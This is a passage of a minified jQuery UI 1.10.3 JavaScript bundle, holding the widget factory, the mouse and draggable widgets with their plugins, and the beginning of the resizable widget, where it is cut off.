(function(e,t){var i=0,s=Array.prototype.slice,n=e.cleanData;e.cleanData=function(t){for(var i,s=0;null!=(i=t[s]);s++)try{e(i).triggerHandler("remove")}catch(a){}n(t)},e.widget=function(i,s,n){var a,r,o,h,l={},u=i.split(".")[0];i=i.split(".")[1],a=u+"-"+i,n||(n=s,s=e.Widget),e.expr[":"][a.toLowerCase()]=function(t){return!!e.data(t,a)},e[u]=e[u]||{},r=e[u][i],o=e[u][i]=function(e,i){return this._createWidget?(arguments.length&&this._createWidget(e,i),t):new o(e,i)},e.extend(o,r,{version:n.version,_proto:e.extend({},n),_childConstructors:[]}),h=new s,h.options=e.widget.extend({},h.options),e.each(n,function(i,n){return e.isFunction(n)?(l[i]=function(){var e=function(){return s.prototype[i].apply(this,arguments)},t=function(e){return s.prototype[i].apply(this,e)};return function(){var i,s=this._super,a=this._superApply;return this._super=e,this._superApply=t,i=n.apply(this,arguments),this._super=s,this._superApply=a,i}}(),t):(l[i]=n,t)}),o.prototype=e.widget.extend(h,{widgetEventPrefix:r?h.widgetEventPrefix:i},l,{constructor:o,namespace:u,widgetName:i,widgetFullName:a}),r?(e.each(r._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete r._childConstructors):s._childConstructors.push(o),e.widget.bridge(i,o)},e.widget.extend=function(i){for(var n,a,r=s.call(arguments,1),o=0,h=r.length;h>o;o++)for(n in r[o])a=r[o][n],r[o].hasOwnProperty(n)&&a!==t&&(i[n]=e.isPlainObject(a)?e.isPlainObject(i[n])?e.widget.extend({},i[n],a):e.widget.extend({},a):a);return i},e.widget.bridge=function(i,n){var a=n.prototype.widgetFullName||i;e.fn[i]=function(r){var o="string"==typeof r,h=s.call(arguments,1),l=this;return r=!o&&h.length?e.widget.extend.apply(null,[r].concat(h)):r,o?this.each(function(){var s,n=e.data(this,a);return n?e.isFunction(n[r])&&"_"!==r.charAt(0)?(s=n[r].apply(n,h),s!==n&&s!==t?(l=s&&s.jquery?l.pushStack(s.get()):s,!1):t):e.error("no such method '"+r+"' for "+i+" widget instance"):e.error("cannot call methods on "+i+" prior to initialization; "+"attempted to call method '"+r+"'")}):this.each(function(){var t=e.data(this,a);t?t.option(r||{})._init():e.data(this,a,new n(r,this))}),l}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,s){s=e(s||this.defaultElement||this)[0],this.element=e(s),this.uuid=i++,this.eventNamespace="."+this.widgetName+this.uuid,this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this.bindings=e(),this.hoverable=e(),this.focusable=e(),s!==this&&(e.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===s&&this.destroy()}}),this.document=e(s.style?s.ownerDocument:s.document||s),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(i,s){var n,a,r,o=i;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof i)if(o={},n=i.split("."),i=n.shift(),n.length){for(a=o[i]=e.widget.extend({},this.options[i]),r=0;n.length-1>r;r++)a[n[r]]=a[n[r]]||{},a=a[n[r]];if(i=n.pop(),s===t)return a[i]===t?null:a[i];a[i]=s}else{if(s===t)return this.options[i]===t?null:this.options[i];o[i]=s}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled ui-state-disabled",!!t).attr("aria-disabled",t),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")),this},enable:function(){return this._setOption("disabled",!1)},disable:function(){return this._setOption("disabled",!0)},_on:function(i,s,n){var a,r=this;"boolean"!=typeof i&&(n=s,s=i,i=!1),n?(s=a=e(s),this.bindings=this.bindings.add(s)):(n=s,s=this.element,a=this.widget()),e.each(n,function(n,o){function h(){return i||r.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?r[o]:o).apply(r,arguments):t}"string"!=typeof o&&(h.guid=o.guid=o.guid||h.guid||e.guid++);var l=n.match(/^(\w+)\s*(.*)$/),u=l[1]+r.eventNamespace,c=l[2];c?a.delegate(c,u,h):s.bind(u,h)})},_off:function(e,t){t=(t||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.unbind(t).undelegate(t)},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,r=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(r)&&r.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var r,o=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),r=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),r&&e.effects&&e.effects.effect[o]?s[t](n):o!==t&&s[o]?s[o](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}})})(jQuery);
/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(e){var t=!1;e(document).mouseup(function(){t=!1}),e.widget("ui.mouse",{version:"1.10.3",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):undefined}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&e(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(i){if(!t){this._mouseStarted&&this._mouseUp(i),this._mouseDownEvent=i;var s=this,n=1===i.which,a="string"==typeof this.options.cancel&&i.target.nodeName?e(i.target).closest(this.options.cancel).length:!1;return n&&!a&&this._mouseCapture(i)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){s.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(i)&&this._mouseDelayMet(i)&&(this._mouseStarted=this._mouseStart(i)!==!1,!this._mouseStarted)?(i.preventDefault(),!0):(!0===e.data(i.target,this.widgetName+".preventClickEvent")&&e.removeData(i.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return s._mouseMove(e)},this._mouseUpDelegate=function(e){return s._mouseUp(e)},e(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),i.preventDefault(),t=!0,!0)):!0}},_mouseMove:function(t){return e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button?this._mouseUp(t):this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return e(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})})(jQuery);
/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(e){e.widget("ui.draggable",e.ui.mouse,{version:"1.10.3",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"!==this.options.helper||/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative"),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._mouseInit()},_destroy:function(){this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._mouseDestroy()},_mouseCapture:function(t){var i=this.options;return this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(e(i.iframeFix===!0?"iframe":i.iframeFix).each(function(){e("<div class='ui-draggable-iframeFix' style='background: #fff;'></div>").css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css(e(this).offset()).appendTo("body")}),!0):!1)},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(),this.offsetParent=this.helper.offsetParent(),this.offsetParentCssPosition=this.offsetParent.css("position"),this.offset=this.positionAbs=this.element.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},this.offset.scroll=!1,e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this.position=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_mouseDrag:function(t,i){if("fixed"===this.offsetParentCssPosition&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"original"!==this.options.helper||e.contains(this.element[0].ownerDocument,this.element[0])?("invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1):!1},_mouseUp:function(t){return e("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)}),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return s.parents("body").length||s.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s[0]===this.element[0]||/(fixed|absolute)/.test(s.css("position"))||s.css("position","absolute"),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.element.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;return n.containment?"window"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):"document"===n.containment?(this.containment=[0,0,e(document).width()-this.helperProportions.width-this.margins.left,(e(document).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],undefined):n.containment.constructor===Array?(this.containment=n.containment,undefined):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t="hidden"!==i.css("overflow"),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relative_container=i),undefined):(this.containment=null,undefined)},_convertPositionTo:function(t,i){i||(i=this.position);var s="absolute"===t?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent;return this.offset.scroll||(this.offset.scroll={top:n.scrollTop(),left:n.scrollLeft()}),{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top)*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)*s}},_generatePosition:function(t){var i,s,n,a,o=this.options,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=t.pageX,l=t.pageY;return this.offset.scroll||(this.offset.scroll={top:r.scrollTop(),left:r.scrollLeft()}),this.originalPosition&&(this.containment&&(this.relative_container?(s=this.relative_container.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s]),"drag"===t&&(this.positionAbs=this._convertPositionTo("absolute")),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i){var s=e(this).data("ui-draggable"),n=s.options,a=e.extend({},i,{item:s.element});s.sortables=[],e(n.connectToSortable).each(function(){var i=e.data(this,"ui-sortable");i&&!i.options.disabled&&(s.sortables.push({instance:i,shouldRevert:i.options.revert}),i.refreshPositions(),i._trigger("activate",t,a))})},stop:function(t,i){var s=e(this).data("ui-draggable"),n=e.extend({},i,{item:s.element});e.each(s.sortables,function(){this.instance.isOver?(this.instance.isOver=0,s.cancelHelperRemoval=!0,this.instance.cancelHelperRemoval=!1,this.shouldRevert&&(this.instance.options.revert=this.shouldRevert),this.instance._mouseStop(t),this.instance.options.helper=this.instance.options._helper,"original"===s.options.helper&&this.instance.currentItem.css({top:"auto",left:"auto"})):(this.instance.cancelHelperRemoval=!1,this.instance._trigger("deactivate",t,n))})},drag:function(t,i){var s=e(this).data("ui-draggable"),n=this;e.each(s.sortables,function(){var a=!1,o=this;this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this.instance._intersectsWith(this.instance.containerCache)&&(a=!0,e.each(s.sortables,function(){return this.instance.positionAbs=s.positionAbs,this.instance.helperProportions=s.helperProportions,this.instance.offset.click=s.offset.click,this!==o&&this.instance._intersectsWith(this.instance.containerCache)&&e.contains(o.instance.element[0],this.instance.element[0])&&(a=!1),a})),a?(this.instance.isOver||(this.instance.isOver=1,this.instance.currentItem=e(n).clone().removeAttr("id").appendTo(this.instance.element).data("ui-sortable-item",!0),this.instance.options._helper=this.instance.options.helper,this.instance.options.helper=function(){return i.helper[0]},t.target=this.instance.currentItem[0],this.instance._mouseCapture(t,!0),this.instance._mouseStart(t,!0,!0),this.instance.offset.click.top=s.offset.click.top,this.instance.offset.click.left=s.offset.click.left,this.instance.offset.parent.left-=s.offset.parent.left-this.instance.offset.parent.left,this.instance.offset.parent.top-=s.offset.parent.top-this.instance.offset.parent.top,s._trigger("toSortable",t),s.dropped=this.instance.element,s.currentItem=s.element,this.instance.fromOutside=s),this.instance.currentItem&&this.instance._mouseDrag(t)):this.instance.isOver&&(this.instance.isOver=0,this.instance.cancelHelperRemoval=!0,this.instance.options.revert=!1,this.instance._trigger("out",t,this.instance._uiHash(this.instance)),this.instance._mouseStop(t,!0),this.instance.options.helper=this.instance.options._helper,this.instance.currentItem.remove(),this.instance.placeholder&&this.instance.placeholder.remove(),s._trigger("fromSortable",t),s.dropped=!1)})}}),e.ui.plugin.add("draggable","cursor",{start:function(){var t=e("body"),i=e(this).data("ui-draggable").options;t.css("cursor")&&(i._cursor=t.css("cursor")),t.css("cursor",i.cursor)},stop:function(){var t=e(this).data("ui-draggable").options;t._cursor&&e("body").css("cursor",t._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i){var s=e(i.helper),n=e(this).data("ui-draggable").options;s.css("opacity")&&(n._opacity=s.css("opacity")),s.css("opacity",n.opacity)},stop:function(t,i){var s=e(this).data("ui-draggable").options;s._opacity&&e(i.helper).css("opacity",s._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(){var t=e(this).data("ui-draggable");t.scrollParent[0]!==document&&"HTML"!==t.scrollParent[0].tagName&&(t.overflowOffset=t.scrollParent.offset())},drag:function(t){var i=e(this).data("ui-draggable"),s=i.options,n=!1;i.scrollParent[0]!==document&&"HTML"!==i.scrollParent[0].tagName?(s.axis&&"x"===s.axis||(i.overflowOffset.top+i.scrollParent[0].offsetHeight-t.pageY<s.scrollSensitivity?i.scrollParent[0].scrollTop=n=i.scrollParent[0].scrollTop+s.scrollSpeed:t.pageY-i.overflowOffset.top<s.scrollSensitivity&&(i.scrollParent[0].scrollTop=n=i.scrollParent[0].scrollTop-s.scrollSpeed)),s.axis&&"y"===s.axis||(i.overflowOffset.left+i.scrollParent[0].offsetWidth-t.pageX<s.scrollSensitivity?i.scrollParent[0].scrollLeft=n=i.scrollParent[0].scrollLeft+s.scrollSpeed:t.pageX-i.overflowOffset.left<s.scrollSensitivity&&(i.scrollParent[0].scrollLeft=n=i.scrollParent[0].scrollLeft-s.scrollSpeed))):(s.axis&&"x"===s.axis||(t.pageY-e(document).scrollTop()<s.scrollSensitivity?n=e(document).scrollTop(e(document).scrollTop()-s.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<s.scrollSensitivity&&(n=e(document).scrollTop(e(document).scrollTop()+s.scrollSpeed))),s.axis&&"y"===s.axis||(t.pageX-e(document).scrollLeft()<s.scrollSensitivity?n=e(document).scrollLeft(e(document).scrollLeft()-s.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<s.scrollSensitivity&&(n=e(document).scrollLeft(e(document).scrollLeft()+s.scrollSpeed)))),n!==!1&&e.ui.ddmanager&&!s.dropBehaviour&&e.ui.ddmanager.prepareOffsets(i,t)}}),e.ui.plugin.add("draggable","snap",{start:function(){var t=e(this).data("ui-draggable"),i=t.options;t.snapElements=[],e(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each(function(){var i=e(this),s=i.offset();this!==t.element[0]&&t.snapElements.push({item:this,width:i.outerWidth(),height:i.outerHeight(),top:s.top,left:s.left})})},drag:function(t,i){var s,n,a,o,r,h,l,u,c,d,p=e(this).data("ui-draggable"),f=p.options,m=f.snapTolerance,g=i.offset.left,v=g+p.helperProportions.width,b=i.offset.top,y=b+p.helperProportions.height;for(c=p.snapElements.length-1;c>=0;c--)r=p.snapElements[c].left,h=r+p.snapElements[c].width,l=p.snapElements[c].top,u=l+p.snapElements[c].height,r-m>v||g>h+m||l-m>y||b>u+m||!e.contains(p.snapElements[c].item.ownerDocument,p.snapElements[c].item)?(p.snapElements[c].snapping&&p.options.snap.release&&p.options.snap.release.call(p.element,t,e.extend(p._uiHash(),{snapItem:p.snapElements[c].item})),p.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(s=m>=Math.abs(l-y),n=m>=Math.abs(u-b),a=m>=Math.abs(r-v),o=m>=Math.abs(h-g),s&&(i.position.top=p._convertPositionTo("relative",{top:l-p.helperProportions.height,left:0}).top-p.margins.top),n&&(i.position.top=p._convertPositionTo("relative",{top:u,left:0}).top-p.margins.top),a&&(i.position.left=p._convertPositionTo("relative",{top:0,left:r-p.helperProportions.width}).left-p.margins.left),o&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h}).left-p.margins.left)),d=s||n||a||o,"outer"!==f.snapMode&&(s=m>=Math.abs(l-b),n=m>=Math.abs(u-y),a=m>=Math.abs(r-g),o=m>=Math.abs(h-v),s&&(i.position.top=p._convertPositionTo("relative",{top:l,left:0}).top-p.margins.top),n&&(i.position.top=p._convertPositionTo("relative",{top:u-p.helperProportions.height,left:0}).top-p.margins.top),a&&(i.position.left=p._convertPositionTo("relative",{top:0,left:r}).left-p.margins.left),o&&(i.position.left=p._convertPositionTo("relative",{top:0,left:h-p.helperProportions.width}).left-p.margins.left)),!p.snapElements[c].snapping&&(s||n||a||o||d)&&p.options.snap.snap&&p.options.snap.snap.call(p.element,t,e.extend(p._uiHash(),{snapItem:p.snapElements[c].item})),p.snapElements[c].snapping=s||n||a||o||d)}}),e.ui.plugin.add("draggable","stack",{start:function(){var t,i=this.data("ui-draggable").options,s=e.makeArray(e(i.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});s.length&&(t=parseInt(e(s[0]).css("zIndex"),10)||0,e(s).each(function(i){e(this).css("zIndex",t+i)}),this.css("zIndex",t+s.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i){var s=e(i.helper),n=e(this).data("ui-draggable").options;s.css("zIndex")&&(n._zIndex=s.css("zIndex")),s.css("zIndex",n.zIndex)},stop:function(t,i){var s=e(this).data("ui-draggable").options;s._zIndex&&e(i.helper).css("zIndex",s._zIndex)}})})(jQuery);
/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(e){function t(e){return parseInt(e,10)||0}function i(e){return!isNaN(parseInt(e,10))}e.widget("ui.resizable",e.ui.mouse,{version:"1.10.3",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_create:function(){var t,i,s,n,a,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.data("ui-resizable")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),a="ui-resizable-"+s,n=e("<div class='ui-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon 